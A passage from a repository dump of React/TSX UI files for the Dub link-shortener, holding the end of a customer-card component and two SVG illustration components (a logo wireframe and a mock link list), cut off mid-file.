\"url(https://assets.dub.co/home/people.png)\",\n                    backgroundSize: \"3600%\", // 36 images\n                    backgroundPositionX: CUSTOMER.avatarIndex * 100 + \"%\",\n                  }}\n                />\n                <div className=\"flex flex-col items-end gap-1\">\n                  <div className=\"bg-bg-default border-border-subtle text-content-default flex items-center gap-1.5 rounded-full border px-1.5 py-0.5 text-xs\">\n                    <CursorRays className=\"text-content-default size-3.5\" />\n                    {CUSTOMER.origin}\n                  </div>\n                  <div className=\"bg-bg-default border-border-subtle text-content-default flex items-center gap-1.5 rounded-full border px-1.5 py-0.5 text-xs\">\n                    <img\n                      src={`https://flag.vercel.app/m/${CUSTOMER.country}.svg`}\n                      className=\"relative h-2.5 w-3 rounded-sm\"\n                    />\n                    {CUSTOMER.country}\n                  </div>\n                </div>\n              </div>\n              <div className=\"text-content-emphasis mt-4 text-[0.8125rem] font-medium\">\n                {CUSTOMER.name}\n              </div>\n              <div className=\"text-content-subtle mt-px text-xs\">\n                {CUSTOMER.email}\n              </div>\n            </div>\n            <div className=\"border-border-default flex flex-col gap-2.5 border-t px-3 pb-2.5 pt-3\">\n              {Object.entries(CUSTOMER.details as Record<string, string>).map(\n                ([key, value]) => (\n                  <div\n                    key={key}\n                    className=\"relative flex items-center justify-between gap-2 text-xs leading-none\"\n                  >\n                    <span className=\"text-content-muted truncate font-medium\">\n                      {key}\n                    </span>\n                    <span className=\"text-content-default\">{value}</span>\n                  </div>\n                ),\n              )}\n            </div>\n          </div>\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/nav/content/graphics/dub-wireframe-graphic.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport { SVGProps, useId } from \"react\";\n\nexport function DubWireframeGraphic({\n  className,\n  ...rest\n}: SVGProps<SVGSVGElement>) {\n  const id = useId();\n\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width=\"247\"\n      height=\"114\"\n      viewBox=\"0 0 247 114\"\n      fill=\"none\"\n      className={cn(\"\", className)}\n      {...rest}\n    >\n      <path\n        stroke=\"#fff\"\n        strokeWidth=\"0.089\"\n        d=\"M147.901 0v113.578M141.661 0v113.578M132.924 0v113.578M108.854 0v113.578M100.116 0v113.578M93.876 0v113.578M85.139 0v113.578M52.509 0v113.578M156.639 0v113.578M189.267 0v113.578m56.79-85.496H0M246.057 43.06H0m246.057 41.544H0\"\n        opacity=\"0.3\"\n      />\n      <g opacity=\"0.5\">\n        <mask\n          id={`${id}-a`}\n          width=\"187\"\n          height=\"89\"\n          x=\"27\"\n          y=\"12\"\n          maskUnits=\"userSpaceOnUse\"\n          style={{ maskType: \"alpha\" }}\n        >\n          <ellipse\n            cx=\"120.71\"\n            cy=\"56.432\"\n            fill=\"#D9D9D9\"\n            rx=\"92.717\"\n            ry=\"44.041\"\n          />\n        </mask>\n        <g stroke=\"#fff\" strokeWidth=\"0.089\" mask={`url(#${id}-a)`}>\n          <path d=\"M147.901 0v113.578M141.661 0v113.578M132.924 0v113.578M108.853 0v113.578M100.116 0v113.578M93.876 0v113.578M85.139 0v113.578M52.509 0v113.578M156.639 0v113.578M189.267 0v113.578m56.789-85.496H-.001M246.056 43.06H-.001m246.057 41.544H-.001\" />\n        </g>\n      </g>\n      <g filter={`url(#${id}-b)`} opacity=\"0.3\">\n        <path\n          fill=\"#fff\"\n          fillOpacity=\"0.077\"\n          fillRule=\"evenodd\"\n          d=\"M147.733 29.33c0-.787.639-1.426 1.427-1.426h6.094c.788 0 1.427.639 1.427 1.427V46.57a20.77 20.77 0 0 1 11.93-3.745c11.531 0 20.878 9.353 20.878 20.89s-9.347 20.89-20.878 20.89c-11.53 0-20.878-9.353-20.878-20.89zm20.878 46.32c6.588 0 11.93-5.343 11.93-11.936 0-6.592-5.342-11.936-11.93-11.936-6.589 0-11.931 5.344-11.931 11.936 0 6.593 5.342 11.937 11.931 11.937M85.099 29.33c0-.787.639-1.426 1.427-1.426h6.095c.787 0 1.426.639 1.426 1.427v34.166a20 20 0 0 1 0 .436v19.245c0 .788-.639 1.426-1.426 1.426h-6.095a1.426 1.426 0 0 1-1.427-1.426V80.86a20.77 20.77 0 0 1-11.93 3.743c-11.53 0-20.877-9.352-20.877-20.89 0-11.536 9.347-20.889 20.878-20.889 4.435 0 8.548 1.384 11.93 3.744zM73.17 75.652c6.589 0 11.93-5.344 11.93-11.936 0-6.593-5.341-11.937-11.93-11.937s-11.93 5.344-11.93 11.937S66.58 75.65 73.17 75.65m28.27-32.826c-.788 0-1.427.639-1.427 1.427v19.463a20.9 20.9 0 0 0 6.116 14.77 20.87 20.87 0 0 0 29.526 0 20.9 20.9 0 0 0 6.115-14.77h-.001V44.252c0-.788-.639-1.427-1.427-1.427h-6.095c-.787 0-1.426.639-1.426 1.427v19.463a11.94 11.94 0 0 1-3.494 8.44 11.929 11.929 0 0 1-20.366-8.44V44.252c0-.788-.639-1.427-1.426-1.427z\"\n          clipRule=\"evenodd\"\n        />\n      </g>\n      <path\n        fill={`url(#${id}-c)`}\n        fillOpacity=\"0.4\"\n        stroke={`url(#${id}-d)`}\n        strokeWidth=\"0.233\"\n        d=\"M93.926 63.996v20.577H85.21v-3.85l-.183.127a20.66 20.66 0 0 1-11.865 3.723c-11.468 0-20.765-9.302-20.765-20.776s9.297-20.776 20.765-20.776a20.66 20.66 0 0 1 11.865 3.723l.183.128V28.098h8.716v35.898Zm53.925-.199V28.098h8.717v18.775l.182-.128a20.66 20.66 0 0 1 11.866-3.724c11.468 0 20.765 9.302 20.765 20.776s-9.297 20.776-20.765 20.776-20.765-9.301-20.765-20.776Zm-6.198 0v.116h.001a20.8 20.8 0 0 1-6.082 14.575 20.757 20.757 0 0 1-29.366 0 20.79 20.79 0 0 1-6.082-14.69V43.02h8.717v20.776a12.047 12.047 0 1 0 24.096 0V43.021h8.716zM73.162 75.851c6.654 0 12.048-5.397 12.048-12.054 0-6.658-5.394-12.055-12.048-12.055S61.114 57.14 61.114 63.797 66.508 75.85 73.162 75.85Zm95.454 0c6.654 0 12.048-5.397 12.048-12.054 0-6.658-5.394-12.055-12.048-12.055s-12.048 5.397-12.048 12.055 5.394 12.054 12.048 12.054Z\"\n      />\n      <circle\n        cx=\"85.073\"\n        cy=\"28.059\"\n        r=\"0.814\"\n        fill=\"#565656\"\n        stroke=\"#fffa\"\n        strokeWidth=\"0.233\"\n      />\n      <circle\n        cx=\"147.866\"\n        cy=\"28.059\"\n        r=\"0.814\"\n        fill=\"#565656\"\n        stroke=\"#fffa\"\n        strokeWidth=\"0.233\"\n      />\n      <circle\n        cx=\"147.866\"\n        cy=\"63.875\"\n        r=\"0.814\"\n        fill=\"#565656\"\n        stroke=\"#fffa\"\n        strokeWidth=\"0.233\"\n      />\n      <circle\n        cx=\"156.704\"\n        cy=\"63.875\"\n        r=\"0.814\"\n        fill=\"#565656\"\n        stroke=\"#fffa\"\n        strokeWidth=\"0.233\"\n      />\n      <circle\n        cx=\"156.704\"\n        cy=\"46.665\"\n        r=\"0.814\"\n        fill=\"#565656\"\n        stroke=\"#fffa\"\n        strokeWidth=\"0.233\"\n      />\n      <circle\n        cx=\"168.565\"\n        cy=\"42.944\"\n        r=\"0.814\"\n        fill=\"#565656\"\n        stroke=\"#fffa\"\n        strokeWidth=\"0.233\"\n      />\n      <circle\n        cx=\"168.565\"\n        cy=\"51.781\"\n        r=\"0.814\"\n        fill=\"#565656\"\n        stroke=\"#fffa\"\n        strokeWidth=\"0.233\"\n      />\n      <circle\n        cx=\"168.565\"\n        cy=\"75.736\"\n        r=\"0.814\"\n        fill=\"#565656\"\n        stroke=\"#fffa\"\n        strokeWidth=\"0.233\"\n      />\n      <circle\n        cx=\"168.565\"\n        cy=\"84.806\"\n        r=\"0.814\"\n        fill=\"#565656\"\n        stroke=\"#fffa\"\n        strokeWidth=\"0.233\"\n      />\n      <circle\n        cx=\"180.426\"\n        cy=\"63.875\"\n        r=\"0.814\"\n        fill=\"#565656\"\n        stroke=\"#fffa\"\n        strokeWidth=\"0.233\"\n      />\n      <circle\n        cx=\"189.496\"\n        cy=\"63.875\"\n        r=\"0.814\"\n        fill=\"#565656\"\n        stroke=\"#fffa\"\n        strokeWidth=\"0.233\"\n      />\n      <circle\n        cx=\"99.957\"\n        cy=\"42.944\"\n        r=\"0.814\"\n        fill=\"#565656\"\n        stroke=\"#fffa\"\n        strokeWidth=\"0.233\"\n      />\n      <circle\n        cx=\"99.957\"\n        cy=\"63.875\"\n        r=\"0.814\"\n        fill=\"#565656\"\n        stroke=\"#fffa\"\n        strokeWidth=\"0.233\"\n      />\n      <circle\n        cx=\"132.982\"\n        cy=\"63.875\"\n        r=\"0.814\"\n        fill=\"#565656\"\n        stroke=\"#fffa\"\n        strokeWidth=\"0.233\"\n      />\n      <circle\n        cx=\"120.888\"\n        cy=\"75.736\"\n        r=\"0.814\"\n        fill=\"#565656\"\n        stroke=\"#fffa\"\n        strokeWidth=\"0.233\"\n      />\n      <circle\n        cx=\"112.516\"\n        cy=\"72.247\"\n        r=\"0.814\"\n        fill=\"#565656\"\n        stroke=\"#fffa\"\n        strokeWidth=\"0.233\"\n      />\n      <circle\n        cx=\"101.586\"\n        cy=\"71.782\"\n        r=\"0.814\"\n        fill=\"#565656\"\n        stroke=\"#fffa\"\n        strokeWidth=\"0.233\"\n      />\n      <circle\n        cx=\"139.959\"\n        cy=\"71.782\"\n        r=\"0.814\"\n        fill=\"#565656\"\n        stroke=\"#fffa\"\n        strokeWidth=\"0.233\"\n      />\n      <circle\n        cx=\"129.494\"\n        cy=\"72.247\"\n        r=\"0.814\"\n        fill=\"#565656\"\n        stroke=\"#fffa\"\n        strokeWidth=\"0.233\"\n      />\n      <circle\n        cx=\"120.888\"\n        cy=\"84.806\"\n        r=\"0.814\"\n        fill=\"#565656\"\n        stroke=\"#fffa\"\n        strokeWidth=\"0.233\"\n      />\n      <circle\n        cx=\"108.795\"\n        cy=\"80.852\"\n        r=\"0.814\"\n        fill=\"#565656\"\n        stroke=\"#fffa\"\n        strokeWidth=\"0.233\"\n      />\n      <circle\n        cx=\"132.982\"\n        cy=\"80.852\"\n        r=\"0.814\"\n        fill=\"#565656\"\n        stroke=\"#fffa\"\n        strokeWidth=\"0.233\"\n      />\n      <circle\n        cx=\"132.982\"\n        cy=\"42.944\"\n        r=\"0.814\"\n        fill=\"#565656\"\n        stroke=\"#fffa\"\n        strokeWidth=\"0.233\"\n      />\n      <circle\n        cx=\"93.911\"\n        cy=\"28.059\"\n        r=\"0.814\"\n        fill=\"#565656\"\n        stroke=\"#fffa\"\n        strokeWidth=\"0.233\"\n      />\n      <circle\n        cx=\"156.704\"\n        cy=\"28.059\"\n        r=\"0.814\"\n        fill=\"#565656\"\n        stroke=\"#fffa\"\n        strokeWidth=\"0.233\"\n      />\n      <circle\n        cx=\"108.795\"\n        cy=\"42.944\"\n        r=\"0.814\"\n        fill=\"#565656\"\n        stroke=\"#fffa\"\n        strokeWidth=\"0.233\"\n      />\n      <circle\n        cx=\"108.795\"\n        cy=\"63.875\"\n        r=\"0.814\"\n        fill=\"#565656\"\n        stroke=\"#fffa\"\n        strokeWidth=\"0.233\"\n      />\n      <circle\n        cx=\"141.82\"\n        cy=\"63.875\"\n        r=\"0.814\"\n        fill=\"#565656\"\n        stroke=\"#fffa\"\n        strokeWidth=\"0.233\"\n      />\n      <circle\n        cx=\"141.82\"\n        cy=\"42.944\"\n        r=\"0.814\"\n        fill=\"#565656\"\n        stroke=\"#fffa\"\n        strokeWidth=\"0.233\"\n      />\n      <circle\n        cx=\"93.911\"\n        cy=\"63.875\"\n        r=\"0.814\"\n        fill=\"#565656\"\n        stroke=\"#fffa\"\n        strokeWidth=\"0.233\"\n      />\n      <circle\n        cx=\"73.213\"\n        cy=\"42.944\"\n        r=\"0.814\"\n        fill=\"#565656\"\n        stroke=\"#fffa\"\n        strokeWidth=\"0.233\"\n      />\n      <circle\n        cx=\"73.213\"\n        cy=\"75.736\"\n        r=\"0.814\"\n        fill=\"#565656\"\n        stroke=\"#fffa\"\n        strokeWidth=\"0.233\"\n      />\n      <circle\n        cx=\"73.213\"\n        cy=\"51.781\"\n        r=\"0.814\"\n        fill=\"#565656\"\n        stroke=\"#fffa\"\n        strokeWidth=\"0.233\"\n      />\n      <circle\n        cx=\"73.213\"\n        cy=\"84.573\"\n        r=\"0.814\"\n        fill=\"#565656\"\n        stroke=\"#fffa\"\n        strokeWidth=\"0.233\"\n      />\n      <circle\n        cx=\"85.073\"\n        cy=\"46.665\"\n        r=\"0.814\"\n        fill=\"#565656\"\n        stroke=\"#fffa\"\n        strokeWidth=\"0.233\"\n      />\n      <circle\n        cx=\"85.073\"\n        cy=\"63.875\"\n        r=\"0.814\"\n        fill=\"#565656\"\n        stroke=\"#fffa\"\n        strokeWidth=\"0.233\"\n      />\n      <circle\n        cx=\"61.118\"\n        cy=\"63.875\"\n        r=\"0.814\"\n        fill=\"#565656\"\n        stroke=\"#fffa\"\n        strokeWidth=\"0.233\"\n      />\n      <circle\n        cx=\"52.281\"\n        cy=\"63.875\"\n        r=\"0.814\"\n        fill=\"#565656\"\n        stroke=\"#fffa\"\n        strokeWidth=\"0.233\"\n      />\n      <circle\n        cx=\"85.073\"\n        cy=\"80.852\"\n        r=\"0.814\"\n        fill=\"#565656\"\n        stroke=\"#fffa\"\n        strokeWidth=\"0.233\"\n      />\n      <circle\n        cx=\"85.073\"\n        cy=\"84.573\"\n        r=\"0.814\"\n        fill=\"#565656\"\n        stroke=\"#fffa\"\n        strokeWidth=\"0.233\"\n      />\n      <circle\n        cx=\"93.911\"\n        cy=\"84.573\"\n        r=\"0.814\"\n        fill=\"#565656\"\n        stroke=\"#fffa\"\n        strokeWidth=\"0.233\"\n      />\n      <defs>\n        <linearGradient\n          id={`${id}-c`}\n          x1=\"120.889\"\n          x2=\"120.889\"\n          y1=\"27.982\"\n          y2=\"84.689\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#fff\" stopOpacity=\"0\" />\n          <stop offset=\"1\" stopColor=\"#fff\" stopOpacity=\"0.3\" />\n        </linearGradient>\n        <linearGradient\n          id={`${id}-d`}\n          x1=\"120.889\"\n          x2=\"120.889\"\n          y1=\"27.982\"\n          y2=\"84.689\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#5B5B5B\" />\n          <stop offset=\"1\" stopColor=\"#757575\" />\n        </linearGradient>\n        <filter\n          id={`${id}-b`}\n          width=\"154.246\"\n          height=\"73.748\"\n          x=\"43.768\"\n          y=\"19.38\"\n          colorInterpolationFilters=\"sRGB\"\n          filterUnits=\"userSpaceOnUse\"\n        >\n          <feFlood floodOpacity=\"0\" result=\"BackgroundImageFix\" />\n          <feGaussianBlur in=\"BackgroundImageFix\" stdDeviation=\"4.262\" />\n          <feComposite\n            in2=\"SourceAlpha\"\n            operator=\"in\"\n            result=\"effect1_backgroundBlur_7_2\"\n          />\n          <feBlend\n            in=\"SourceGraphic\"\n            in2=\"effect1_backgroundBlur_7_2\"\n            result=\"shape\"\n          />\n          <feColorMatrix\n            in=\"SourceAlpha\"\n            result=\"hardAlpha\"\n            values=\"0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 127 0\"\n          />\n          <feOffset dx=\"-0.991\" dy=\"0.991\" />\n          <feGaussianBlur stdDeviation=\"0.496\" />\n          <feComposite in2=\"hardAlpha\" k2=\"-1\" k3=\"1\" operator=\"arithmetic\" />\n          <feColorMatrix values=\"0 0 0 0 1 0 0 0 0 1 0 0 0 0 1 0 0 0 0.354 0\" />\n          <feBlend in2=\"shape\" result=\"effect2_innerShadow_7_2\" />\n          <feColorMatrix\n            in=\"SourceAlpha\"\n            result=\"hardAlpha\"\n            values=\"0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 127 0\"\n          />\n          <feOffset dx=\"0.991\" dy=\"-0.991\" />\n          <feGaussianBlur stdDeviation=\"0.496\" />\n          <feComposite in2=\"hardAlpha\" k2=\"-1\" k3=\"1\" operator=\"arithmetic\" />\n          <feColorMatrix values=\"0 0 0 0 0.84 0 0 0 0 0.84 0 0 0 0 0.84 0 0 0 0.354 0\" />\n          <feBlend\n            in2=\"effect2_innerShadow_7_2\"\n            result=\"effect3_innerShadow_7_2\"\n          />\n          <feGaussianBlur\n            result=\"effect4_foregroundBlur_7_2\"\n            stdDeviation=\"0.357\"\n          />\n        </filter>\n      </defs>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/nav/content/graphics/links-graphic.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport { SVGProps, useId } from \"react\";\n\nexport function LinksGraphic(props: SVGProps<SVGSVGElement>) {\n  const id = useId();\n\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      xmlnsXlink=\"http://www.w3.org/1999/xlink\"\n      width=\"300\"\n      height=\"180\"\n      fill=\"none\"\n      viewBox=\"0 0 300 180\"\n      {...props}\n      className={cn(\n        \"pointer-events-none text-[var(--fg)] [--bg:white] [--border:#e5e5e5] [--fg:#171717] [--muted:#404040] dark:[--bg:black] dark:[--border:#fff3] dark:[--fg:#fffa] dark:[--muted:#fff7]\",\n        props.className,\n      )}\n    >\n      <defs>\n        <path\n          id={`${id}-m`}\n          className=\"fill-[var(--bg)]\"\n          d=\"M0 0h10.24v10.24H0z\"\n        ></path>\n        <path\n          id={`${id}-n`}\n          className=\"fill-[var(--bg)]\"\n          d=\"M0 0h8.05v8.05H0z\"\n        ></path>\n        <path\n          id={`${id}-o`}\n          className=\"fill-[var(--bg)]\"\n          d=\"M0 0h11.71v11.71H0z\"\n        ></path>\n      </defs>\n      <rect\n        width=\"292\"\n        height=\"52\"\n        x=\"4\"\n        y=\"4\"\n        rx=\"8.78\"\n        className=\"fill-[var(--bg)]\"\n      ></rect>\n      <rect\n        width=\"292\"\n        height=\"52\"\n        x=\"4\"\n        y=\"4\"\n        className=\"stroke-[var(--border)]\"\n        strokeWidth=\"0.73\"\n        rx=\"8.78\"\n      ></rect>\n      <rect\n        width=\"24.88\"\n        height=\"24.88\"\n        x=\"17.17\"\n        y=\"17.56\"\n        fill={`url(#${id}-a)`}\n        rx=\"12.44\"\n      ></rect>\n      <rect\n        width=\"25.61\"\n        height=\"25.61\"\n        x=\"16.8\"\n        y=\"17.2\"\n        className=\"stroke-[var(--border)]\"\n        strokeWidth=\"0.73\"\n        rx=\"12.8\"\n      ></rect>\n      <path\n        className=\"fill-[var(--fg)]\"\n        d=\"M29.61 23c.6 0 1.19.08 1.75.22v3.75a3.5 3.5 0 1 0 0 6.06v.47h1.75v-9.56a7 7 0 1 1-3.5-.94m2.29.39\"\n      ></path>\n      <text\n        xmlSpace=\"preserve\"\n        className=\"fill-[var(--fg)]\"\n        fontSize=\"10.24\"\n        fontWeight=\"600\"\n        style={{ whiteSpace: \"pre\" }}\n      >\n        <tspan x=\"50.83\" y=\"25.49\">\n          d.to\n        </tspan>\n      </text>\n      <g\n        className=\"stroke-[var(--fg)]\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n        strokeWidth=\"1.1\"\n        clipPath={`url(#${id}-b)`}\n      >\n        <path d=\"M84.47 26.08h3.98c.63 0 1.14-.51 1.14-1.14v-3.98c0-.63-.51-1.14-1.14-1.14h-3.98c-.63 0-1.14.5-1.14 1.14v3.98c0 .63.5 1.14 1.14 1.14\"></path>\n        <path d=\"M82.05 24a1.14 1.14 0 0 1-.71-1.05v-3.99c0-.63.5-1.13 1.14-1.13h3.98c.48 0 .89.29 1.05.7\"></path>\n      </g>\n      <path\n        className=\"stroke-[var(--fg)]\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n        strokeWidth=\"1.1\"\n        d=\"M106.87 23.66h-1.29a.85.85 0 0 0-.85.85v1.28m-1.71-5.97v1.28a.85.85 0 0 1-.85.85h-1.28m3.84.01h.43m-2.14 3.83v-.42m-3.41-7.26h1.28c.24 0 .43.2.43.43v1.28c0 .23-.2.42-.43.42h-1.28a.43.43 0 0 1-.43-.42v-1.28c0-.24.2-.43.43-.43m5.55 0h1.28c.23 0 .43.2.43.43v1.28c0 .23-.2.42-.43.42h-1.28a.43.43 0 0 1-.43-.42v-1.28c0-.24.2-.43.43-.43m-5.55 5.55h1.28c.24 0 .43.19.43.43v1.28c0 .23-.2.42-.43.42h-1.28a.43.43 0 0 1-.43-.42v-1.28c0-.24.2-.43.43-.43\"\n      ></path>\n      <g\n        stroke=\"#A1A1A1\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n        strokeWidth=\"1.1\"\n        clipPath={`url(#${id}-c)`}\n      >\n        <path d=\"M59.11 38.38h-4.7a.9.9 0 0 1-.89-.89V35.7\"></path>\n        <path d=\"m57.21 36.48 1.9 1.9-1.9 1.9\"></path>\n      </g>\n      <text\n        xmlSpace=\"preserve\"\n        fill=\"#737373\"\n        fontSize=\"10.24\"\n        fontWeight=\"500\"\n        style={{ whiteSpace: \"pre\" }}\n      >\n        <tspan x=\"63.27\" y=\"41.59\">\n          dub.co\n        </tspan>\n      </text>\n      <path\n        className=\"fill-[var(--bg)]\"\n        d=\"M205.12 19.4h69.22c1.24 0 2.14 0 2.86.05.62.05 1.07.14 1.44.3l.16.08c.66.34 1.22.85 1.6 1.48l.16.28c.21.4.32.9.38 1.6.06.72.06 1.62.06 2.86v7.9c0 1.24 0 2.14-.06 2.85a4.6 4.6 0 0 1-.3 1.45l-.08.16a4 4 0 0 1-1.48 1.6l-.28.16c-.4.2-.9.32-1.6.38-.72.06-1.62.06-2.86.06h-69.22c-1.23 0-2.14 0-2.85-.06a4.6 4.6 0 0 1-1.45-.3l-.16-.08a4 4 0 0 1-1.6-1.48l-.16-.28c-.2-.4-.32-.9-.38-1.6-.06-.72-.06-1.62-.06-2.86v-7.9c0-1.24 0-2.14.06-2.85s.17-1.2.38-1.61c.39-.76 1-1.38 1.76-1.76.41-.2.9-.32 1.6-.38.72-.06 1.63-.06 2.86-.06Z\"\n      ></path>\n      <path\n        className=\"stroke-[var(--border)]\"\n        strokeWidth=\"0.73\"\n        d=\"M205.12 19.4h69.22c1.24 0 2.14 0 2.86.05.62.05 1.07.14 1.44.3l.16.08c.66.34 1.22.85 1.6 1.48l.16.28c.21.4.32.9.38 1.6.06.72.06 1.62.06 2.86v7.9c0 1.24 0 2.14-.06 2.85a4.6 4.6 0 0 1-.3 1.45l-.08.16a4 4 0 0 1-1.48 1.6l-.28.16c-.4.2-.9.32-1.6.38-.72.06-1.62.06-2.86.06h-69.22c-1.23 0-2.14 0-2.85-.06a4.6 4.6 0 0 1-1.45-.3l-.16-.08a4 4 0 0 1-1.6-1.48l-.16-.28c-.2-.4-.32-.9-.38-1.6-.06-.72-.06-1.62-.06-2.86v-7.9c0-1.24 0-2.14.06-2.85s.17-1.2.38-1.61c.39-.76 1-1.38 1.76-1.76.41-.2.9-.32 1.6-.38.72-.06 1.63-.06 2.86-.06Z\"\n      ></path>\n      <g\n        className=\"stroke-[var(--muted)]\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n        strokeWidth=\"1.1\"\n        clipPath={`url(#${id}-d)`}\n      >\n        <path d=\"m209.95 29.2 4.75 1.64c.15.05.15.25 0 .3l-2.13.8a.16.16 0 0 0-.09.1l-.8 2.13a.16.16 0 0 1-.3 0l-1.64-4.76a.16.16 0 0 1 .2-.2h0Zm2.55 2.77 2.75 2.74m-5.53-9.43v1.3m2.76-.15-.92.92m-4.6 4.6.92-.92m-2.06-1.84h1.3m-.16-2.76.92.92\"></path>\n      </g>\n      <text\n        xmlSpace=\"preserve\"\n        className=\"fill-[var(--muted)]\"\n        fontSize=\"8.78\"\n        fontWeight=\"500\"\n        style={{ whiteSpace: \"pre\" }}\n      >\n        <tspan x=\"220.78\" y=\"33.19\">\n          151.8K clicks\n        </tspan>\n      </text>\n      <rect\n        width=\"292\"\n        height=\"52\"\n        x=\"4\"\n        y=\"64\"\n        rx=\"8.78\"\n        className=\"fill-[var(--bg)]\"\n      ></rect>\n      <rect\n        width=\"292\"\n        height=\"52\"\n        x=\"4\"\n        y=\"64\"\n        className=\"stroke-[var(--border)]\"\n        strokeWidth=\"0.73\"\n        rx=\"8.78\"\n      ></rect>\n      <rect\n        width=\"24.88\"\n        height=\"24.88\"\n        x=\"17.17\"\n        y=\"77.56\"\n        fill={`url(#${id}-e)`}\n        rx=\"12.44\"\n      ></rect>\n      <rect\n        width=\"25.61\"\n        height=\"25.61\"\n        x=\"16.8\"\n        y=\"77.19\"\n        className=\"stroke-[var(--border)]\"\n        strokeWidth=\"0.73\"\n        rx=\"12.8\"\n      ></rect>\n      <path\n        className=\"fill-[var(--fg)]\"\n        d=\"M29.61 83c.6 0 1.19.08 1.75.22v3.75a3.5 3.5 0 1 0 0 6.06v.47h1.75v-9.56a7 7 0 1 1-3.5-.94m2.29.39\"\n      ></path>\n      <text\n        xmlSpace=\"preserve\"\n        className=\"fill-[var(--fg)]\"\n        fontSize=\"10.24\"\n        fontWeight=\"600\"\n        style={{ whiteSpace: \"pre\" }}\n      >\n        <tspan x=\"50.83\" y=\"85.49\">\n          d.to/register\n        </tspan>\n      </text>\n      <g\n        className=\"stroke-[var(--fg)]\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n        strokeWidth=\"1.1\"\n        clipPath={`url(#${id}-f)`}\n      >\n        <path d=\"M126.47 86.08h3.98c.63 0 1.14-.51 1.14-1.14v-3.98c0-.63-.51-1.14-1.14-1.14h-3.98c-.63 0-1.14.5-1.14 1.14v3.98c0 .63.5 1.14 1.14 1.14\"></path>\n        <path d=\"M124.05 84a1.14 1.14 0 0 1-.71-1.05v-3.99c0-.63.5-1.13 1.13-1.13h3.99c.48 0 .89.29 1.05.7\"></path>\n      </g>\n      <path\n        className=\"stroke-[var(--fg)]\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n        strokeWidth=\"1.1\"\n        d=\"M148.87 83.66h-1.28a.85.85 0 0 0-.86.85v1.28m-1.71-5.97v1.28a.85.85 0 0 1-.85.85h-1.28m3.84.01h.43m-2.14 3.83v-.42m-3.41-7.26h1.28c.24 0 .43.2.43.43v1.28c0 .23-.2.42-.43.42h-1.28a.43.43 0 0 1-.43-.42v-1.28c0-.24.2-.43.43-.43m5.55 0h1.28c.24 0 .43.2.43.43v1.28c0 .23-.2.42-.43.42h-1.28a.43.43 0 0 1-.43-.42v-1.28c0-.24.2-.43.43-.43m-5.55 5.55h1.28c.24 0 .43.19.43.43v1.28c0 .23-.2.42-.43.42h-1.28a.43.43 0 0 1-.43-.42v-1.28c0-.24.2-.43.43-.43\"\n      ></path>\n      <g\n        stroke=\"#A1A1A1\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n        strokeWidth=\"1.1\"\n        clipPath={`url(#${id}-g)`}\n      >\n        <path d=\"M59.11 98.38h-4.7a.9.9 0 0 1-.89-.89V95.7\"></path>\n        <path d=\"m57.21 96.48 1.9 1.9-1.9 1.9\"></path>\n      </g>\n      <text\n        xmlSpace=\"preserve\"\n        fill=\"#737373\"\n        fontSize=\"10.24\"\n        fontWeight=\"500\"\n        style={{ whiteSpace: \"pre\" }}\n      >\n        <tspan x=\"63.27\" y=\"101.59\">\n          app.dub.co/register\n        </tspan>\n      </text>\n      <path\n        className=\"fill-[var(--bg)]\"\n        d=\"M211.12 79.4h63.22c1.24 0 2.14 0 2.86.05.62.05 1.07.14 1.44.3l.16.08c.66.34 1.22.85 1.6 1.48l.16.28c.21.4.32.9.38 1.6.06.72.06 1.62.06 2.86v7.9c0 1.24 0 2.14-.06 2.85a4.6 4.6 0 0 1-.3 1.45l-.08.16a4.03 4.03 0 0 1-1.48 1.6l-.28.16c-.4.2-.9.32-1.6.38-.72.06-1.62.06-2.86.06h-63.22c-1.23 0-2.14 0-2.85-.06a4.6 4.6 0 0 1-1.45-.3l-.16-.08a4 4 0 0 1-1.6-1.48l-.16-.28c-.2-.4-.32-.9-.38-1.6-.06-.72-.06-1.62-.06-2.86v-7.9c0-1.24 0-2.14.06-2.85s.17-1.2.38-1.61c.39-.76 1-1.38 1.76-1.76.41-.2.9-.32 1.6-.38.72-.06 1.63-.06 2.86-.06Z\"\n      ></path>\n      <path\n        className=\"stroke-[var(--border)]\"\n        strokeWidth=\"0.73\"\n        d=\"M211.12 79.4h63.22c1.24 0 2.14 0 2.86.05.62.05 1.07.14 1.44.3l.16.08c.66.34 1.22.85 1.6 1.48l.16.28c.21.4.32.9.38 1.6.06.72.06 1.62.06 2.86v7.9c0 1.24 0 2.14-.06 2.85a4.6 4.6 0 0 1-.3 1.45l-.08.16a4.03 4.03 0 0 1-1.48 1.6l-.28.16c-.4.2-.9.32-1.6.38-.72.06-1.62.06-2.86.06h-63.22c-1.23 0-2.14 0-2.85-.06a4.6 4.6 0 0 1-1.45-.3l-.16-.08a4 4 0 0 1-1.6-1.48l-.16-.28c-.2-.4-.32-.9-.38-1.6-.06-.72-.06-1.62-.06-2.86v-7.9c0-1.24 0-2.14.06-2.85s.17-1.2.38-1.61c.39-.76 1-1.38 1.76-1.76.41-.2.9-.32 1.6-.38.72-.06 1.63-.06 2.86-.06Z\"\n      ></path>\n      <g\n        className=\"stroke-[var(--muted)]\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n        strokeWidth=\"1.1\"\n        clipPath={`url(#${id}-h)`}\n      >\n        <path d=\"m215.95 89.2 4.75 1.64c.15.05.15.25 0 .3l-2.13.8a.16.16 0 0 0-.09.1l-.8 2.13a.16.16 0 0 1-.3 0l-1.64-4.76a.16.16 0 0 1 .2-.2h0Zm2.55 